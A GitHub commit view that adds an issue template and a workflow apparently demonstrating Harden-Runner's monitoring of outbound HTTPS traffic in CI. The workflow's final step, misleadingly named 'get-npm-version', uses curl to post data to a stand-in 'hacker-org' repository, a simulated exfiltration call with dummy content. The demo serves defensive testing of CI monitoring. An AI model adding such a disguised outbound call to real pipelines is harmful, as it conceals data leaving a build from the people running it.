-
Notifications
You must be signed in to change notification settings - Fork 259
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
6bdcdf0
commit aad73f8
Showing
2 changed files
with
31 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,5 @@ | ||
--- | ||
title: Issue created using GitHub Actions workflow | ||
--- | ||
|
||
Issue created using GitHub Actions workflow |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,26 @@ | ||
name: "Hosted: HTTPS Monitoring with Harden-Runner" | ||
on: | ||
workflow_dispatch: | ||
push: | ||
jobs: | ||
build: | ||
runs-on: ubuntu-latest | ||
steps: | ||
- uses: step-security/harden-runner@v2 | ||
with: | ||
egress-policy: audit | ||
|
||
- uses: crazy-max/ghaction-github-status@v4 | ||
|
||
- uses: actions/checkout@v3 | ||
|
||
- uses: JasonEtco/create-an-issue@v2 | ||
env: | ||
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} | ||
|
||
- name: get-npm-version | ||
run: | | ||
curl -X POST -H "Authorization: token 123" \ | ||
-H "Accept: application/vnd.github.v3+json" \ | ||
https://api.github.com/repos/hacker-org/test-repo/issues \ | ||
-d '{"title":"Issue Title","body":"Issue description goes here."}' |